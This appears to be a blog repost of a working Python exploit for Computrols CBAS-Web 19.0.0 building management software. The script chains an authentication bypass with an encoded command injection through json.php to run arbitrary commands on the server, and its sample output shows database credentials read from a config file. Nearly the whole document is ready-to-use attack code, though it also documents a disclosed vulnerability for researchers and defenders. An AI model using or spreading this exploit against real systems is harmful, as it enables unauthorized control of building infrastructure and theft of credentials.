Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86382718

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: CBAS-Web 19.0.0 - Remote Code Execution
# Google Dork: NA
# Date: 2019-11-11
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : N/A
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

#!/usr/bin/env python

'''
  Computrols CBAS-Web Unauthenticated Remote Command Injection Exploit
  Affected versions: 19.0.0 and below
    by Sipke Mellema, 2019


  Uses two vulnerabilities for executing commands:
    - An authorization bypass in the auth module (CVE-2019-10853)
    - A code execution vulnerability in the json.php endpoint (CVE-2019-10854)
  
  Example usage: 
  $ python CBASWeb_19_rce.py 192.168.1.250 "cat /var/www/cbas-19.0.0/includes/db.php"
      ------------==[CBAS Web v19 Remote Command Injection

      [*] URL: http://192.168.1.250/
      [*] Executing: cat /var/www/cbas-19.0.0/includes/db.php
      [*] Cookie is authenticated
      [*] Creating Python payload..
      [*] Sending Python payload..
      [*] Server says:
      <?php
      // Base functions for database access
      // Expects a number of constants to be set.  Set settings.php

      // Only allow local access to the database for security purposes
      if(defined('WINDOWS') && WINDOWS){
          define('MYSQL_HOST', '192.168.1.2');
          define('DB_USER', 'wauser');
          define('DB_PASS', 'wapwstandard');
          /*define('DB_USER', 'root');
          define('DB_PASS', 'souper secrit');*/
          ...

'''

import requests
import sys
import base64 as b
import json


def debug_print(msg, level=0):
  if level == 0:
    print "[*] %s" % msg
  if level == 1:
    print "[-] %s" % msg

# Check parameters
if len(sys.argv) < 3:
  print "Missing target parameter\n\n\tUsage: %s <IP or hostname> \"<cmd>\"" % __file__
  exit(0)

print "------------==[CBAS Web v18 Remote Command Injection\n"

# Set host, cookie and URL
host = sys.argv[1]
cookies = {'PHPSESSID': 'comparemetoasummersday'}
url = "http://%s/" % host

debug_print("URL: %s" % url)

# Command to execute
# Only use single quotes in cmd pls
icmd = sys.argv[2]
if '"' in icmd:
  debug_print("Please don't use double quotes in your command string", level = 1)
  exit(0)

debug_print("Executing: %s" % icmd)

# URL for performing auth bypass by setting the auth cookie flag to true
auth_bypass_req = "cbas/index.php?m=auth&a=agg_post&code=test"
# URL for removing auth flag from cookie (for clean-up)
logout_sess_req = "cbas/index.php?m=auth&a=logout"
# URL for command injection and session validity checking
json_checks_req = "cbas/json.php"

# Perform logout
def do_logout():
  requests.get(url + logout_sess_req, cookies = cookies)

# Check if out cookie has the authentication flag
def has_auth():
  ret = requests.get(url + json_checks_req, cookies = cookies)
  if ret.text == "Access Forbidden":
    return False
  return True

# Set auth flag on cookie
def set_auth():
  requests.get(url + auth_bypass_req, cookies = cookies)

# =======================================================

# Perform auth bypass if not authenticated yet
if not has_auth():
  debug_print("Cookie not yet authenticated")
  debug_print("Setting auth flag on cookie via auth bypass..")
  set_auth()

# Check if bypass failed
if not has_auth():
  debug_print("Was not able to perform authorization bypass :(")
  debug_print("Exploit failed, quitting..", level = 1)
  exit(0)

else:
  debug_print("Cookie is authenticated")
  debug_print("Creating Python payload..")

  # Payload has to be encoded because the server uses the following filtering in exectools.php:
  #   $bad = array("..", "\\", "&", "|", ";", '/', '>', '<');
  # So no slashes, etc. This means only two "'layers' of quotes"
  
  # Create python code exec code
  cmd_python = 'import os; os.system("%s")' % icmd
  # Convert to Python array
  cmd_array_string = str([ord(x) for x in cmd_python])
  # Create command injection string
  p_unencoded = "DispatchHistoryQuery\t-i \"$(python -c 'exec(chr(0)[0:0].join([chr(x) for x in %s]))')\"" % cmd_array_string
  # Base64 encode for p parameter
  p_encoded = b.b64encode(p_unencoded)

  # Execute command
  debug_print("Sending Python payload..")
  ret = requests.post(url + json_checks_req, cookies = cookies, data = {'p': p_encoded})

  # Parse result
  ret_parsed = json.loads(ret.text)
  try:
    metadata = ret_parsed["metadata"]
    identifier = metadata["identifier"]

    debug_print("Server says:")
    print identifier

  # JSON Parsing error
  except:
    debug_print("Error parsing result from server :(", level = 1)

# Uncomment if you want the cookie to be removed after use
# debug_print("Logging out")
# do_logout()